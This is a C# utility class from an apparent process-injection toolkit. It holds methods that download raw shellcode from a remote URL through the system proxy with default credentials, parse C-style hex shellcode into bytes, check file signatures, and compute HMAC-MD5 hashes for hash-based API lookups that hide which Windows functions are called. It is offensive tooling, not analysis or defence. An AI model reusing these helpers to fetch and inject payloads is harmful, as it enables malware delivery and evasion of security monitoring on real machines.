using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; using System.Threading.Tasks; namespace ProcessInjection.Utils { public static class Utils { public static byte[] StringToByteArray(string hex) { return Enumerable.Range(0, hex.Length) .Where(x => x % 2 == 0) .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) .ToArray(); } public static byte[] convertfromc(string val) { string rval = val.Replace("\"", string.Empty).Replace("\r\n", string.Empty).Replace("x", string.Empty); string[] sval = rval.Split('\\'); var fval = string.Empty; foreach (var lval in sval) { if (lval != null) { fval += lval; } } return StringToByteArray(fval); } public static string ByteArrayToString(byte[] ba) { StringBuilder hex = new StringBuilder(ba.Length * 2); foreach (byte b in ba) hex.AppendFormat("{0:x2}", b); return hex.ToString(); } public static byte[] GetRawShellcode(string url) { WebClient client = new WebClient(); client.Proxy = WebRequest.GetSystemWebProxy(); client.Proxy.Credentials = CredentialCache.DefaultCredentials; byte[] shellcode = client.DownloadData(url); return shellcode; } public static string GetShellcode(string url) { WebClient client = new WebClient(); client.Proxy = WebRequest.GetSystemWebProxy(); client.Proxy.Credentials = CredentialCache.DefaultCredentials; string shellcode = client.DownloadString(url); return shellcode; } public static void PrintError(string error) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(error); Console.ResetColor(); } public static void PrintSuccess(string success) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(success); Console.ResetColor(); } public static void PrintInfo(string info) { Console.ForegroundColor = ConsoleColor.Blue; Console.WriteLine(info); Console.ResetColor(); } public static void PrintTitle(string title) { Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine(title); Console.ResetColor(); } /// /// Checks that a file is signed and has a valid signature. /// /// Path of file to check. /// public static bool FileHasValidSignature(string filePath) { X509Certificate2 fileCertificate; try { var signer = X509Certificate.CreateFromSignedFile(filePath); fileCertificate = new X509Certificate2(signer); } catch { return false; } var certificateChain = new X509Chain(); certificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain; certificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; certificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag; return certificateChain.Build(fileCertificate); } /// /// Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups. /// /// Ruben Boonen (@FuzzySec) /// String to hash. /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). /// string, the computed MD5 hash value. public static string GetApiHash(string value, long key) { var data = Encoding.UTF8.GetBytes(value.ToLower()); var bytes = BitConverter.GetBytes(key); var hmac = new HMACMD5(bytes); var bHash = hmac.ComputeHash(data); return BitConverter.ToString(bHash).Replace("-", ""); } } }